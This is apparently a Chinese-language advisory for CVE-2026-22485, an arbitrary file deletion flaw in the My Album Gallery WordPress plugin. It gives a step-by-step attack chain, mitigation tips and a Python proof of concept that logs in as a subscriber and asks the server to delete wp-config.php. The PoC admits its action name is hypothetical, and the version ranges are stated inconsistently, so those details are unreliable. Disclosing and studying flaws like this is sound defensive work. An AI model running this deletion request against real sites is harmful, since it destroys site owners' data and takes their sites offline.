CVE-2026-22485 My Album Gallery权限缺失漏洞

漏洞信息

漏洞编号

CVE-2026-22485

漏洞类型

权限缺失

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

My Album Gallery

漏洞概述

My Album Gallery WordPress插件存在严重的缺失授权漏洞。该漏洞是由于插件未能正确实施访问控制安全级别所致，允许低权限攻击者绕过安全检查，执行未授权操作。根据参考信息，此漏洞可能导致任意文件删除，从而对系统完整性造成高度影响。此问题影响从n/a版本开始直至1.0.4及之前的所有版本。由于攻击向量为网络且无需用户交互，攻击门槛较低，对使用该插件的WordPress站点构成实质性威胁，管理员应立即采取修复措施。

技术细节

该漏洞的核心在于My Album Gallery插件中处理文件删除请求时未进行严格的权限验证。在WordPress插件开发中，敏感操作（如文件管理）通常需要检查用户是否具备特定能力（如`manage_options`）。然而，受影响版本的插件在处理删除请求的代码路径中，可能仅验证了用户是否登录，而未区分用户角色，或者完全遗漏了权限检查函数。

根据CVSS向量（AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N），攻击者只需具备低权限账号（如订阅者），即可通过网络向服务器发送特制的HTTP请求。攻击者通过构造包含目标文件路径参数的请求（通常发送至`admin-ajax.php`或REST API端点），利用插件暴露的删除动作。服务器端接收到请求后，由于缺乏授权校验，会直接执行文件系统操作（如`unlink()`），导致任意文件被删除。尽管CVSS评分主要强调完整性影响，但删除核心文件（如`wp-config.php`）往往会导致服务完全不可用。

攻击链分析

STEP 1

侦察

攻击者识别目标网站安装了My Album Gallery插件，且版本在1.0.4及以下。

STEP 2

获取低权限账号

攻击者在目标站点注册一个低权限账号（如订阅者Subscriber），无需管理员批准。

STEP 3

发送恶意请求

攻击者使用该账号登录，获取Cookie，并向`admin-ajax.php`发送特制的POST请求，包含删除文件的参数和动作。

STEP 4

执行未授权操作

服务器端插件代码因缺少权限校验，直接执行删除逻辑，移除服务器上的指定文件。

STEP 5

达成影响

攻击者成功删除关键文件（如配置文件或索引文件），破坏网站完整性或导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: My Album Gallery < 1.0.4 - Arbitrary File Deletion via Missing Authorization
# Date: 2026-03-25
# Exploit Author: Analyst
# Vendor Homepage: https://wordpress.org/plugins/my-album-gallery/
# Software Link: https://downloads.wordpress.org/plugin/my-album-gallery.1.0.4.zip
# Version: <= 1.0.4
# Tested on: WordPress 6.x

target_url = "http://example.com/wp-admin/admin-ajax.php"

# Low privilege user credentials (Subscriber)
username = "subscriber"
password = "password"

# File to delete (relative to WordPress installation or absolute path depending on implementation)
file_to_delete = "wp-config.php"

# 1. Authenticate to get session cookie
session = requests.Session()
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
    "redirect_to": target_url
}
login_response = session.post("http://example.com/wp-login.php", data=login_data)

if login_response.status_code == 200:
    # 2. Send exploit payload
    # Note: The specific 'action' parameter depends on the plugin's actual implementation.
    # This is a representative PoC based on the vulnerability description.
    payload_data = {
        "action": "my_album_gallery_delete_file",  # Hypothetical action name
        "file_path": file_to_delete
    }
    
    response = session.post(target_url, data=payload_data)
    
    if response.status_code == 200:
        print("[+] Request sent. Check if the file was deleted.")
    else:
        print("[-] Exploit request failed.")
else:
    print("[-] Login failed.")

影响范围

My Album Gallery <= 1.0.4

防御指南

临时缓解措施

在未升级插件之前，建议通过服务器配置（如.htaccess或Nginx规则）限制对`/wp-content/plugins/my-album-gallery/`目录的直接访问，并严格限制WordPress后台的登录尝试频率，防止自动化攻击利用此漏洞。